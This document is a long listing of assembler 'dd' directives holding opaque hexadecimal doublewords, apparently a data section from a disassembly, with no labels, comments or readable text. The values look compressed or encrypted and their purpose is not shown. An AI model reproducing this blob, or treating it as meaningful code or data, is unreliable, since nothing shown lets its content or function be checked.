dd 0C9C07A06h, 3BBF424Eh, 9080205Bh, 12EA3113h, 0F20FCE53h
dd 20838E78h, 0EC14BA74h, 69A70075h, 3C72811Dh, 10CA7617h
dd 34E00422h, 0F6CCE66h, 7053A18Ch, 6678A8Eh, 1922C0EAh
dd 0BEE8727Eh, 0FF8D3501h, 90A1A769h, 6F813083h, 2911451Ah
dd 91219C23h, 88B8C608h, 0AA883F3Eh, 0A90B877h, 0BDC0116Ah
dd 3F513230h, 93007664h, 11FB6E4Ah, 0F6DFEED1h, 0EAA6005Dh
dd 28FDE7B9h, 0B8000CD5h, 6535901Eh, 0F4BA246Dh, 589B860h
dd 9AA8D33Ah, 289480E3h, 1C386E44h, 87FC8463h, 0CC80184Bh
dd 7A50131h, 9CBDE76Bh, 58A8F0D6h, 3700E311h, 321BFE7Eh
dd 68E861h, 659619D7h, 0DD586CAh, 77F4C303h, 0E8A853F1h
dd 5BB755h, 0B45C848Eh, 0A58518Bh, 12476800h, 3E15214Bh
dd 26B00145h, 0ADC753E3h, 7AC050CEh, 0C00F460h, 3DBA9336h
dd 380158D0h, 65005D14h, 53219CF0h, 96008AB1h, 78024BB7h
dd 369260Eh, 0F0DE831Bh, 0EC889933h, 490FBA1Dh, 0E085E0ADh
dd 0F34665E7h, 0D2430152h, 4177CC09h, 0C18180F5h, 90CE3D12h
dd 44DD026Bh, 1A2166CBh, 86A40C40h, 0B00071F8h, 0A5072D8h
dd 350BFEh, 95986AA6h, 70E0567Dh, 806F0202h, 0E0D8946Ch
dd 0F8406Eh, 0BA877C21h, 5AFE0198h, 0A826500h, 0B2069B1Ch
dd 39FB017Bh, 5CD638BBh, 0F01231D2h, 0F430EEBCh, 89B91814h
dd 527C008Bh, 0B534C877h, 400F37Dh, 0CADA647Fh, 51CC6h
dd 4C351BEFh, 1D891E7Bh, 0BD951500h, 0C17A04B3h, 3C590052h
dd 5C2E8CA9h, 93003E22h, 0FDD83203h, 5C9F616Fh, 0B01C62C7h
dd 0FA9B40DBh, 6083EA21h, 0A76D8000h, 29A3F3AAh, 7784E404h
dd 3163034Dh, 6049D2EFh, 7194F181h, 34B6601Fh, 0D53D2800h
dd 2F698CB7h, 112C00E7h, 3ED2478Bh, 260030D3h, 0C6AC0D0Bh
dd 651DE6h, 18957417h, 2243C767h, 7D52591Eh, 99BC840h
dd 0F2E51225h, 79270EA8h, 0BC004A69h, 0B4C84670h, 72FC861Ch
dd 0FB9894h, 0FB3FFE3Ah, 6B8341h, 0D4348B57h, 46A61571h
dd 9D8C40E5h, 61007B45h, 0C4919BAEh, 24C1C6BCh, 201F10h
dd 7C271436h, 10C025F6h, 0BCCDE7AEh, 38A901BFh, 0D2C133D8h
dd 0E1203562h, 0C22A2h, 8F75067h, 2CB9360Dh, 129C9F42h
dd 0FA2A00A9h, 6CF1C859h, 0D61D8600h, 0B19B1BC6h, 34D00045h
dd 0C83A2312h, 0BA0505C9h, 0A54F6A71h, 329C8000h, 397EF0Ch
dd 8E215EB0h, 20D8F53Ah, 7B00796Ch, 0AB4CCE85h, 0CD50A6h
dd 0A1D3C8A4h, 755E2D5Ch, 82BBCA00h, 0C39AEB6Dh, 0B06350FBh
dd 328001D1h, 1BFA25CEh, 41AE3185h, 0E812F4BCh, 0A10056E4h
dd 1EFF61B2h, 109CCFh, 0E54A1AD7h, 3D25982Dh, 0D4EE61Ch
dd 0D15C59C0h, 502069h
dd 838AD557h, 85340ADAh, 94194C00h, 0B3631BC8h, 0E3D700ABh
dd 784BD481h, 0F60FEB80h, 0C00C5E2Ah, 9196B81Eh, 1FC8F493h
dd 80E2A5FFh, 0FD595C77h, 0E400E88Ah, 62AE7B6Ch, 0CB413h
dd 0A72D3383h, 38B6BAA8h, 0FF563900h, 0C10748F3h, 0BE9B00CDh
dd 7C3A3F14h, 0DB01EBDCh, 1E641309h, 0B4D86F93h, 0A36E3E32h
dd 8055E99Eh, 7F76F7A2h, 0DA79EF43h, 80B46238h, 27AE67BCh
dd 0ED0D2BC3h, 0BD6ACCh, 5752F7F5h, 9339C4Ah, 8FB2453Dh
dd 3F883EEFh, 0E4381CC0h, 297FFCCh, 4B584E17h, 75E0A942h
dd 7100ECB5h, 4A6D2367h, 0FB5E8Ch, 0FD5785B1h, 0E59BB847h
dd 0B7FF9E00h, 770A33BDh, 0E4520767h, 50CBAE2Eh, 7465681Ch
dd 0B00EEF6h, 64ED3533h, 98CF1A19h, 0E576007Dh, 42B26210h
dd 0EF3CC77Eh, 9FCE806Dh, 0B82FDE40h, 82D5A02Ah, 296300ACh
dd 0D01A2758h, 0FA0310BEh, 3B7224C6h, 86EDB85Bh, 2B9000CBh
dd 58BA347Ch, 0A80091C1h, 0B30A67ACh, 278380h, 0E79ABF6h
dd 355B58BCh, 0C98ABF00h, 1C372FFFh, 4B782Ch, 0C1AC6467h
dd 3075C395h, 4AECD701h, 32D1D8DFh, 0B951D8h, 0AB21DCAAh
dd 124022C0h, 88775D00h, 0D914C3Fh, 0B57B773Dh, 0FC01E8F8h
dd 0F2CD4E30h, 69F0A6DEh, 40850043h, 60BE7CCAh, 0E200F72Dh
dd 0A515D8C9h, 33BDE92h, 0EB13070Ah, 0B9D3B7C2h, 0C800A28Bh
dd 0D2089DE5h, 0FB4658h, 7EDC5177h, 0F3BE2EA7h, 3EF9DF0Fh
dd 0D31BC055h, 335E9Fh, 7C27140h, 0DB32FDB0h, 636A3700h
dd 0DD68A33Dh, 0A27E00C6h, 21EE862h, 80006E06h, 3067DA9Ch
dd 398DF829h, 5581BD1Ah, 0BE05E0EBh, 0E688809Fh, 0F20A2B39h
dd 0A2460060h, 0A81BDC27h, 30005768h, 8A2F4CF5h, 1D97C0B6h
dd 8FF3E9FDh, 74009033h, 0BADB5CE0h, 73792900h, 2B365612h
dd 7FEE0Eh, 0F748C932h, 0D76BBD83h, 6E00A2FEh, 0C55C340Fh
dd 0F60A31C0h, 597E252Fh, 781709C0h, 0D8281000h, 6E3D18A5h
dd 9FF10712h, 0DEBBDEDFh, 7FFA1F80h, 750615FCh, 0F6962801h
dd 0D7532610h, 3A93003Fh, 0DA1FFF2Dh, 43AC2600h, 0E0BEF3CFh
dd 6BC30067h, 4742F85Dh, 593ACB98h, 43081337h, 60962D0Fh
dd 3BE0D4F1h, 0A2E900F5h, 941DFC24h, 143D597Bh, 906B80C1h
dd 1FFEDAE5h, 159100F9h, 82C4B76Fh, 0D9A08B83h, 0F018FF74h
dd 0BA586AB2h, 13A30068h, 6157CFD2h, 0CA00124Ah, 4FFE8011h
dd 1E6732A9h, 0C013DAE1h, 0A5502123h, 3B76B0A2h, 355A4A00h
dd 0DEAFCD9Eh, 9BB2006Ch, 4B604CD8h, 4400EC37h, 6617C41Bh
dd 7C76BC38h, 0A9680057h, 403B9FD6h, 0D700B490h, 0ECD02CF1h
dd 7E813Dh, 0D56D1ACAh, 0B1AABE30h, 0BB376A1Eh, 0AD008868h
dd 45295FE4h, 46613h, 0AFA2D3FBh, 0FFF06D33h, 78893407h
dd 9CA3220Ch, 8547C8C1h, 430F3AD8h, 0BAA36180h, 8CE5CA9h
dd 6C63BB00h, 1FB19204h, 6F40147Ah, 1400C7F6h, 0D41029F3h
dd 921CC76Eh, 82C037EFh, 2D59695Eh, 261500CAh, 7A655702h
dd 48E09FEBh, 0F1DBCC14h, 34A828DCh, 0C106D8FCh, 15FD8FA4h
dd 27221091h, 6087000Dh, 0D004DD95h, 5D2B00D4h, 0CDCBCAA2h
dd 69EC7557h, 0BEB964C0h, 5F5B83h, 0DE586C92h, 0CD6719D5h
dd 7269DF00h, 0CBA261D4h, 66020965h, 3006C2DDh, 0D9483CABh
dd 55280530h, 0C0FBCB87h, 745C6749h, 46381900h, 0A51F4EBFh
dd 32C10E8Ch, 80FC0409h, 42200C64h, 9D123F35h, 37009731h
dd 0A60654B0h, 7F740037h, 671A4123h, 0D008B3Fh, 88140A11h
dd 1ECD1E7h, 2F5457D2h, 8B6882EEh, 80FADD54h, 19B095AFh
dd 0E54B002Bh, 0D2F8D6B7h, 0CE1D8E68h, 1F871DADh, 0ACB04F1Ch
dd 0ECF5835Dh, 79370FA2h, 30263ADAh, 5101104Dh, 740DF80Eh
dd 0E2EC278Fh, 4A071F7Ch, 3980BCD2h, 56B3DD88h, 94001834h
dd 15FFC373h, 4813F5h, 0BA328EE5h, 0E3D3ADD9h, 0A4535200h
dd 0B10B1ED2h, 0FBA90049h, 696A89ABh, 5F010CFEh, 46EA7101h
dd 59C065F8h, 0D933008Eh, 35160742h, 4B2698FBh, 94006988h
dd 865C89CEh, 0E3843C59h, 0D7776A00h, 0F8B016ACh, 9FB97C00h
dd 425F7DECh, 0CBCF0F4Eh, 7F0F321Bh, 0D9625400h, 0C490D3F5h
dd 91C7507h, 0D6909266h, 7AF718E6h, 0FDF6B1h, 8BAB9F20h
dd 61C2CA22h, 3F58702Eh, 0C1F2EC00h, 190DE5Ch, 60EAD80Bh
dd 0F8739905h, 0A0B0C73Bh, 7F5EE500h, 853312CAh, 0F2B7F1Ch
dd 5893F042h, 4E0D9080h, 1103402Ch, 0BF21886Eh, 3277B983h
dd 26B4F06Ah, 0B54A3900h, 0DFC3E4E9h, 977D26C8h, 0E08C0024h
dd 0BD6A362h, 5F1A4707h, 9C4044EAh, 0D3ACE2h, 0E1BCEC02h
dd 0C0F53D35h, 0A577FF04h, 5CC09645h, 3AA44CEDh, 0B401D465h
dd 34111C28h, 0E8382108h, 3B00ADDEh, 17402F50h, 1E5C5Ah
dd 0ABB9B6B3h, 0E626ECF9h, 24CCBD1Dh, 981F6800h, 0EA31CE78h
dd 4010C0E5h, 2DF1FF9Dh, 3260700Fh, 0E45C2D5h, 6DC44010h
dd 0E27A42h, 7C5275ADh, 6562B28Ch, 0AC5E1F00h, 0D1035A6h
dd 7F5B00C1h, 0DB977383h, 1600DDDFh, 0EEE5961Dh, 0BF2AA1h
dd 0BCE472A5h, 88782E7Ah, 20C79800h, 4DBDCDE0h, 184B60EFh
dd 1D48AE6Bh, 74875200h, 7C5A8A80h, 1E3175D7h, 80B6ED7Bh
dd 8EC0A3DDh, 0FF006E25h, 51195EF2h, 5289D7h, 189E1C8Ch
dd 0A1C86F1Eh, 277AD300h, 30EA96D0h, 0AA81CA6h, 0F94D00E4h
dd 34AB11C3h, 53387800h, 0A1C67A71h, 2F4EC7Ch, 0F6299743h
dd 48689BBFh, 8C7C5904h, 154BEC00h, 86C4667Dh, 0DB915C89h
dd 16472100h, 0EEC5744Fh, 80B6E03Ch, 9DE892AAh, 8042Eh
dd 75E5989Ah, 0EB580717h, 0D0663A38h, 2D0093A4h, 553392Fh
dd 0A8C79Ah, 8AF450C0h, 0B5BEC829h, 0DC989B00h, 0CA35782Dh
dd 16C30F96h, 4C20C57Eh, 7706071Ah, 55E6C4A0h, 27D5D0F3h
dd 56764900h, 19B1BEA6h, 8DA0224h, 64384BF2h, 300163E3h
dd 1D881EA4h, 65606C1Bh, 2F1A007Ch, 0BA72968Dh, 0D70038B7h
dd 1516D535h, 4B6A05h, 59F6A59Fh, 934E31Ah, 63B60216h
dd 58A0EC40h, 984A28Ch, 0C6C2E446h, 519ECA00h, 0AA00954Ch
dd 0A62173D5h, 6E5318h, 0C6847C06h, 6F31D669h, 16388849h
dd 0DC41A397h, 1FD45696h, 3693F30h, 18DB3D57h, 884868B9h
dd 3140098h, 32C25192h, 1F99000Eh, 531C47A9h, 638DAC5h
dd 3B6703BAh, 95F29C8h, 6BDF5E18h, 0F47284DDh, 0EC65B4C0h
dd 67C1011Ah, 80710ACFh, 0A0C2ECA9h, 9C0405FCh, 2C3824C0h
dd 409398C0h, 0C72B03EDh, 542AC98Ch, 5DC144D8h, 9CE80724h
dd 0FD0321Eh, 0FEF98075h, 7A0C1403h, 0E19363h, 73760811h
dd 43A02DE3h, 72204D00h, 5423DD47h, 0A0F4A33Eh, 72EDFB1h
dd 0F51036EEh, 39EC037h, 0C500A6E0h, 23495EFh, 1821818Bh
dd 28D9B9BBh, 56009C86h, 0AAA36963h, 794C53h, 0B9666425h
dd 0D3F61DDFh, 0C7262898h, 810F9A1Ah, 8A27A098h, 0F40988D5h
dd 0E7F80Ah, 0D64DE5D4h, 7EF565Eh, 1AACA900h, 83DAE4CAh
dd 9AE604h, 2F48F43Bh, 0D7BF285Bh, 63704500h, 1268FDBCh
dd 2ECAF4A6h, 0D04935h, 0C6D8C999h, 3B163107h, 3500E20Bh
dd 3351157Dh, 74AC0063h, 56B21684h, 0C7734D2Fh, 0C31ADCFBh
dd 8A210D13h, 0DFE90000h, 3DEB829h, 2E740AEDh, 0D6FA8F50h
dd 0F6E010EBh, 537A7764h, 32087C03h, 0E99F4633h, 17F081E4h
dd 0FD8979D6h, 98096432h, 0C00726Ch, 82A6A276h, 0F00FC77h
dd 0C4E95FD8h, 96F1D9Bh, 49EAA55Bh, 3BCF5402h, 92F7F0A2h
dd 0F032E880h, 5C00076Ch
dd 0CF8CB1CDh, 708BD36h, 0D9F8471Ah, 0F481AFAEh, 708F3DA8h
dd 0CA282A3Ch, 7801FFBEh, 0B1E8C863h, 64ECD432h, 450E01B6h
dd 48BEEF6Ah, 9F308089h, 14EAA158h, 0E43B00E2h, 7A23DA42h
dd 87791C19h, 12DB4B00h, 0C891A6E3h, 0F9D1001Fh, 179DBD77h
dd 0A1006ADCh, 1C0B15B2h, 0B4C12A4h, 0F07721E3h, 301BF000h
dd 700FE42h, 0B84691BCh, 144AF867h, 0F0F2E183h, 401E5A1Eh
dd 64416CC1h, 0D9000978h, 4718E4BDh, 5082337Ch, 0A0FCF2B0h
dd 10015BFCh, 21C3146h, 0DAD4B55Dh, 4FCC80DBh, 1BAD189h
dd 0F6939E0h, 30D090A8h, 5A00B64Fh, 4BEA612Bh, 71EAABDh
dd 5E5039DFh, 70D4E7FDh, 0D212B425h, 0FC610628h, 0DA0DAB11h
dd 1646EE00h, 6BFE53C3h, 0BB513200h, 954B5517h, 0D8A2A0E8h
dd 0A7C8001Dh, 213544F8h, 9700BDD3h, 1FADB18h, 0C43AB8h
dd 1456D557h, 0BAEC4629h, 3590F40Fh, 0B26580CCh, 1F838022h
dd 80E46A37h, 8636C355h, 0B4006352h, 71CB0ED5h, 3C0942Eh
dd 107E6EA7h, 1888788Bh, 0EE1E65F5h, 0CCCF7929h, 47A6609Dh
dd 1B908B3h, 35F11DBBh, 0F32CC795h, 0B54410C0h, 31A7EF07h
dd 0DB4AD2h, 0F189723Ah, 3492F8h, 0F487EF4Bh, 0DE81560Bh
dd 0BFB29904h, 0FAC01075h, 0A078DA7Ah, 2D8A5F0h, 13D78F64h
dd 41F748DEh, 487093E4h, 252D0347h, 6CCED534h, 0EF68A1A8h
dd 0F93AA300h, 63D49A6Dh, 8DB8EEh, 0BA992BE1h, 0CEF6DA4Fh
dd 806118A1h, 242AF411h, 977A54Ah, 0CB55C920h, 83FDD060h
dd 0DE010E1h, 189A0099h, 0C3059C5Ch, 80F804A3h, 9F2BD300h
dd 61777C38h, 3CA007FBh, 80981BD0h, 2E41F711h, 0B7004771h
dd 9F815276h, 0C04327EDh, 15FB3920h, 1B603ECCh, 0BCA77E69h
dd 44CF4CC1h, 7100303Bh, 1B9E997h, 70057353h, 4F409F5Fh
dd 42D6F8C0h, 272B05ACh, 80CB3C97h, 98AA5B43h, 0BA15B606h
dd 155842DDh, 9C7CD5C2h, 3A5B3700h, 0B1751C83h, 0EE6F5E00h
dd 0CE95B04Ah, 0DD2D001Bh, 7F0ADA49h, 0FF1D42F0h, 68008B93h
dd 0E37A3929h, 55FB0094h, 0EFFAB0D1h, 140B7991h, 0F65CD0h
dd 881733B1h, 27ECFE3Bh, 0E67690C5h, 0A0D1D700h, 0FEE0CFDDh
dd 5C6D000Fh, 8F281287h, 0AD00D383h, 0C3626FF9h, 6921DEh
dd 23C44053h, 82633D20h, 0D39B807h, 37D0D3A9h, 0B8A8A4E8h
dd 0E26E007Ch, 89F4AEA2h, 490F1250h, 942C1B58h, 4F068E0h
dd 217A30F6h, 0A588011h, 750A1A61h, 6E8515Ch, 0E9AE3E1Bh
dd 0B7310D01h, 4787ACF2h, 0C2B4C7B4h, 56E1C22Dh, 0B9D7FCF0h
dd 59421731h, 3AE8C926h, 8D50C436h, 7F482084h, 0C1127C4Bh
dd 99096C28h, 0FBC440F7h, 0A5009D4Ah, 8D2DF06Dh, 1298F6Eh
dd 3E032862h, 8AF5E932h, 6040C061h, 86063F11h, 59021657h
dd 913EF907h, 10F68DBh, 5942CCF0h, 76DD7049h, 58D98C00h
dd 666FC100h, 64C09E7Fh, 2DAC18F3h, 0AAAEE880h, 0BC0F707Ch
dd 27F58D7Ch, 69CD447Fh, 0F71D9C8Ah, 21C0CF4Ch, 1AF45431h
dd 5D309576h, 5A84A9FFh, 26184416h, 4B91D304h, 990EFFE0h
dd 688F492Eh, 41DA1D03h, 532502Fh, 0F47A0FB6h, 0A9B2D602h
dd 4BFD574h, 3E944BF0h, 0A128CB18h, 0C1F8DBh, 0AB3B7083h
dd 10199E74h, 4B7D750Eh, 28450D81h, 368C10FEh, 890FF588h
dd 0E97C086Dh, 6C10A812h, 0C902E9B9h, 28116FC3h, 0A421AF33h
dd 91C8D908h, 248F00B5h, 79D692B1h, 56D0015h, 23825C37h
dd 0ED004797h, 69145DAFh, 7509C174h, 72A6006Eh, 3ACEEAFAh
dd 309033BEh, 0B06BCC00h, 0F9E4EF8Ah, 4576C3h, 2AC93930h
dd 26AED0F8h, 0C5857400h, 0B533F20Eh, 0B60500FEh, 0D19F5473h
dd 9D7609E0h, 8CE67D06h, 410DF9Ah, 73B2FB8Fh, 3C6CC316h
dd 0B0A7069Ah, 3492A0A1h, 6400DF7Ah, 0A8A4835h, 0F44A1B10h
dd 0E9EC69h, 0FBEAF6C0h, 793FC866h, 0A75CC204h, 5490A0EFh
dd 435E19h, 916DC1D3h, 32AECAB9h, 8DE8F400h, 8E8F3EC8h
dd 0F87A9Bh, 0F9279CCCh, 3D45B31Dh, 0E135B900h, 6EFD4AC7h
dd 13940352h, 93A82207h, 0C5804E80h, 97FAE700h, 0B3260A03h
dd 53EB00FFh, 0CE6771D4h, 0E8004B8Eh, 181D2E5Ah, 460977h
dd 0E3BCFEB2h, 0F8154707h, 4EA4DC00h, 863497DEh, 2FC61F72h
dd 1B8A8087h, 0CCD44233h, 3AF23Eh, 0A50926AAh, 3218D1h
dd 0E2F3F792h, 21A65B67h, 0DDFBFC00h, 610C70D9h, 0AB90003Fh
dd 0FAF6ED24h, 590B4519h, 8E6ADAC0h, 98CDE05Ch, 0F4CAD0B8h
dd 35F275h, 0C90C74F0h, 9FFAF7A5h, 9177292Eh, 9E1FEC00h
dd 0FAD8Ch, 7F4EE546h, 50A9530Dh, 1E03BEE0h, 15DB95B1h
dd 59CEC843h, 52272DDh, 8517DC4Eh, 0FFE400BBh, 44B5E07Ch
dd 0BE9A4902h, 0FDCFABAEh, 0A3642640h, 665D1F2Eh, 800ED700h
dd 7E33B3h, 13DFC4BBh, 60968463h, 0D00AE98h, 0B438F378h
dd 1D20C952h, 80D4F8EBh, 0D9409B8Ah, 8712E3A4h, 1C38C254h
dd 933D0C89h, 3F103249h, 1043F707h, 0D610EA96h, 946856h
dd 98BFD844h, 820C1C7Bh, 7E5C4E00h, 0F6AFC732h, 306900ABh
dd 8E385F2Fh, 40001334h, 0F4CB7E5Bh, 88C14C2Eh, 3E00EA72h
dd 0DCB2E60Bh, 126942FFh, 0B4130Fh, 958ACB6Ch, 511D5E4Eh
dd 4C80E502h, 73E9F3D8h, 903C73CDh, 0DDFC03FDh, 0F75B608Fh
dd 91007A83h, 33D581D4h, 6EEFBAAh, 0F2747172h, 8A03193Ch
dd 84585ECFh, 0A41BE0EAh, 0D6EB0006h, 0EEE37B55h, 0C600DD80h
dd 0CBD234F2h, 45E926h, 4B3A8718h, 1D174EB0h, 8054FF30h
dd 98933EDBh, 0E2D50012h, 38B6F2E7h, 1579E606h, 6D7FB409h
dd 3E00EFEh, 0E8F1AA9Eh, 9AC8F6Ah, 261613BAh, 355F3401h
dd 3682075h, 0D5CC3B00h, 0B3320CE5h, 3A607872h, 0BF80A520h
dd 85F32DBEh, 5C006A99h, 0AD05B439h, 906C2Bh, 0CA6E43A3h
dd 0ECA0AEF9h, 0D6302F2Fh, 0A91C0FF0h, 0BFC800F3h, 46180113h
dd 0BBA6290Bh, 0E28F5F75h, 7E583B60h, 0A23D0D5Fh, 0DA1780B7h
dd 83F659A0h, 1B9A01AAh, 50A3D34Fh, 0C05BC5B6h, 0D413811Ch
dd 7000C68Ah, 2A9ABC80h, 0AD430006h, 0CA86733Dh, 0C60028D4h
dd 171E0CE2h, 0E1A78934h, 7B48F020h, 0C83A0035h, 6CE04480h
dd 703EE754h, 0E51980A4h, 3A6525Dh, 0D0F00BDh, 0DEFFB51Ch
dd 7D31BFF5h, 0BE4D94EAh, 5A9CD4h, 0A96825E3h, 7D81ABCFh
dd 903B4500h, 0FEC5BA02h, 0B89B0006h, 16EB1475h, 3E007496h
dd 2E4AC6B6h, 275326h, 3DE5C9F8h, 0D4135419h, 5BA98E00h
dd 486FDA46h, 0C5713CB7h, 24296680h, 46AE244h, 86605500h
dd 0EB9C2028h, 0B01F0057h, 0F4F8F52Eh, 0F939793Ch, 0E503BDDh
dd 0E0060D38h, 0C8B61CCBh, 712A0737h, 50139F4Ah, 888F33C1h
dd 475FBE00h, 7DEA8C29h, 59B8006Eh, 0A504B26Fh, 0DFA58BBh
dd 0C900D0EAh, 0AF5EBAC2h, 262407F8h, 0E07DADh, 8035A185h
dd 53074D2Ch, 25F73718h, 20A67990h, 1EC71h, 0CFEA03B0h
dd 9F94AB55h, 6291CE00h, 8B30C539h, 0B8BE0011h, 65D69993h
dd 17E6141Ch, 80209D3Eh, 2A2478F7h, 581B766Bh, 633F1444h
dd 0AC4C7400h, 6F7C9CEBh, 18A2450Fh, 0B0A0001Eh, 0E8EF5249h
dd 56F0394Bh, 653E163Eh, 8080C53Eh, 0C4DC25Fh, 4A00D336h
dd 0DBCD30E7h, 0EC98CE0Eh, 0A0C70434h, 80A15D25h, 20E88B5Ch
dd 1839E075h, 0F76100C2h, 0BBCF8DA7h, 0AB8A00F3h, 0E0A4FE0Ch
dd 411D55FCh, 9D8052B5h, 0A77B2756h, 4844799Fh, 0D7026D2Fh
dd 0C846908Bh, 0DCD45C40h, 80844E4Ch, 4F2CB5ABh, 0E89026h
dd 7EC9C2E8h, 323B4BEDh
dd 97590B13h, 0EFDFA800h, 1DD3928Bh, 0C05DC0F0h, 358330E9h
dd 0AE077D82h, 294FDB67h, 0ABF43AA0h, 3DED00F5h, 0F7A4E8B0h
dd 0AC69F004h, 34F8006Ah, 9895AED5h, 3B24E2D5h, 53865AFEh
dd 502AC614h, 0CCE363Eh, 1057909Fh, 0EF0A01EAh, 316A8CCCh
dd 0E93920C8h, 0AAA74A0Bh, 0A9B4803Dh, 0C2DC9ACh, 0CDA531F7h
dd 390C4CD1h, 1135EEAFh, 3EAE000Fh, 749B7F5Dh, 6500EC23h
dd 5BF21CD4h, 44F4E67h, 248E6B34h, 0B39CC0B0h, 0B52E7B2Ah
dd 3833CE3h, 0D79970h, 2CDC4F70h, 0B320FD97h, 0C44D3500h
dd 21FCE595h, 59A100B7h, 7C5B2830h, 4A249AFEh, 8C24FA45h
dd 0E906C201h, 98F8E30Bh, 7B282456h, 0BE4A02C8h, 0E0422Eh
dd 5B01E40Fh, 0E25966Fh, 0A0DBCE1Eh, 0F2ECADDh, 0DFE02A8h
dd 0C2EE007Dh, 0D1EC97ABh, 6264070Fh, 9CB99F28h, 8F07A118h
dd 0D2A0F033h, 0F0B737C5h, 437B03B1h, 73E2CE05h, 9ADAFD90h
dd 3E93D400h, 0E6970201h, 0B33A000Ah, 4EFC05F8h, 5A187568h
dd 0C1F880D1h, 0AC820065h, 43EFC0D7h, 102CB67Fh, 9005D81h
dd 9C335CADh, 5106485Fh, 9BD56600h, 817E453Ah, 0EB155205h
dd 0FC90294Dh, 2487B1A2h, 0BCD64Fh, 0C13B7454h, 2216BE62h
dd 3800F998h, 8C4B84D1h, 42E6094Ch, 0A8A08576h, 1E1C1411h
dd 223ADC03h, 3FC6EEDh, 65906130h, 5DF0EF2Bh, 88006912h
dd 1D167D22h, 29AF50h, 4C719368h, 7C890C75h, 47A56500h
dd 64C0EF78h, 7112CDBh, 94F70E99h, 514EEB80h, 0AB001A48h
dd 5AE4C214h, 705FB92Dh, 0CB84803h, 0B7188300h, 0DE6595F9h
dd 4711A600h, 1B0887A4h, 244C00C0h, 0B6D2FA69h, 0F00D472h
dd 477E6249h, 5C3873Eh, 0D8A4799Dh, 56AC8015h, 0A600C601h
dd 0D4EB212Dh, 13CEAAE5h, 0D3DC25h, 2CD97550h, 9C121D79h
dd 1B0396FDh, 89B92E54h, 2FDCD0A4h, 3C580078h, 5069FEEAh
dd 88007CCAh, 0BDDF6DAh, 1237459Eh, 0C0993C71h, 47B68658h
dd 0B098E60Eh, 7C0F776Dh, 0DDCF2053h, 0EC372D2h, 8A056190h
dd 0F2689121h, 0F464203Eh, 0BA78E000h, 252C9242h, 26EA16EBh
dd 0BC860C7Eh, 2A24A72Ah, 0D181D001h, 19518DADh, 2FF2882h
dd 4460C016h, 9014C0Fh, 7A44D3Dh, 0E9C4F42Bh, 0EA771E96h
dd 0AEFA00D7h, 21D90139h, 0CC6C7D1Eh, 94A0B3C0h, 95668DF3h
dd 0D40072D0h, 0D342C179h, 0B8A832DBh, 44A94CB8h, 0BEC0077h
dd 8CD71E6Ch, 0EB012404h, 0A028B48Bh, 5DC0C567h, 0AF5A0090h
dd 7E1D5CB8h, 0D0EB4686h, 99002C24h, 7C572070h, 0A1BD97AEh
dd 242804F8h, 1E239084h, 0CE00D564h, 0B9EAF6B0h, 1DE50041h
dd 0C71AD079h, 47589BBBh, 0F4A60040h, 575DB5D9h, 1BF703C2h
dd 0B91EDFC4h, 86300DFh, 6400710Eh, 8D4AC3B2h, 0BFC075h
dd 7C77496Ch, 4D079252h, 535E7D05h, 0CA84DBF9h, 6F8FAA00h
dd 48DEFD77h, 0C9005C01h, 47246390h, 0FFF2E64Eh, 0D7E2F103h
dd 0B27096EBh, 0FC5804h, 6770D54h, 31B057CAh, 3B007EFEh
dd 723FC779h, 284F24C9h, 0A829BDh, 939BE54Eh, 0A09D0432h
dd 0FCA450Ch, 52E704Bh, 886A2290h, 0F19CC14Dh, 0EA9DE43Ch
dd 65C8E600h, 5BA3EEDh, 304A60F7h, 0E4C4FCC1h, 406C9C01h
dd 41E817D0h, 8EF66980h, 473C8ABFh, 353B2701h, 59FF2610h
dd 2E702D8h, 0D70304E4h, 0A4E0DA1Fh, 8C7BAC55h, 808A933Fh
dd 8429CD5Ah, 0EDC635Eh, 9AEAF756h, 33BA6E21h, 2F18702Eh
dd 1498F4A3h, 0AB034656h, 0F78AF9EDh, 7723E035h, 2C569009h
dd 1E04FDAFh, 7C1980E8h, 0EF1FCFF4h, 5F711700h, 0A0B2493Dh
dd 35CFA60h, 0EAAAD497h, 47D96E74h, 1C72A5h, 704F2240h
dd 0E1BDD1D8h, 72ACD70h, 8745C549h, 81DA3312h, 9DD06800h
dd 46AC6BD9h, 68DC14A5h, 13028892h, 18A0E304h, 8EC5BC80h
dd 0D70021DAh, 887B9B96h, 70C6A8ADh, 912C00ACh, 0FAED137Dh
dd 0A000F897h, 90689550h, 0B0A678ABh, 3D7FA2h, 0BD2C7C7Eh
dd 92658B51h, 0B0FAE61Fh, 0DC36C200h, 8F9961h, 0FF515612h
dd 4942681Fh, 0B30118EEh, 15286E6Fh, 12304A17h, 9662014Fh
dd 9038C5E7h, 0EADF4251h, 6D7A8783h, 6346FF80h, 6E3D9574h
dd 74840794h, 0DB00F371h, 75BC570Ah, 0BF540025h, 5F7CEBB5h
dd 9D005B6Fh, 0D509DE48h, 1020E5h, 0D977C999h, 0BA866AE8h
dd 0A239667Ch, 94A80F7Dh, 61F8A0BEh, 7ECFA01h, 0D2704D49h
dd 557E200Bh, 0A13C42CCh, 1F600F44h, 9B6C2339h, 0FBCC0F3h
dd 29EF040Dh, 0C09F6372h, 255811B5h, 0F180626h, 0A3E0B406h
dd 6BB20028h, 0ED1C4BB7h, 0DD00C89Ch, 4066A1C3h, 30F82ACCh
dd 0BF11B6FDh, 0F40FB486h, 406C4AC9h, 4563962Dh, 0F75401C2h
dd 37DE34F6h, 0E429D008h, 0BC28DF03h, 0A87F84B8h, 0FC11BF9h
dd 38F220Eh, 1D2AE8C0h, 0B8FAD4F4h, 0CC1AF4Ch, 92945658h
dd 4A3700FBh, 453FDB81h, 0E903DFF7h, 0E8844729h, 0BE10005Ch
dd 4F09F6DCh, 650042F4h, 27ED6473h, 1D4BAB59h, 80466BBCh
dd 26491187h, 900D0A8h, 21B239C9h, 0A68F58h, 0ADE7F964h
dd 5301DC4Ch, 2F1DF673h, 30401CE0h, 5F51ACABh, 83310096h
dd 0EECFD499h, 0C38E85Bh, 0EC3080D1h, 5D236F2h, 0E22F43Ah
dd 0A4652A10h, 77E08E6Fh, 86B6740Bh, 1D1B951Ch, 11420CEh
dd 0DD9B90D8h, 185A9440h, 0DE7DDFh, 7FE74A71h, 518E8868h
dd 0C5DC0300h, 0E34E0DADh, 46D400BEh, 0A03E1FA4h, 8C3C749Dh
dd 903D8FD5h, 3C26403Ah, 8EC458h, 6212A8AFh, 0C241E7B9h
dd 2AF3E800h, 0EE849DECh, 28D500BEh, 0D2BB39B3h, 2B308C83h
dd 30688CBFh, 53F0F64h, 66A0B817h, 1D12C56Dh, 621FF2F6h
dd 0AC02050h, 47087803h, 0C64F0041h, 37AAB8C0h, 9503DBCEh
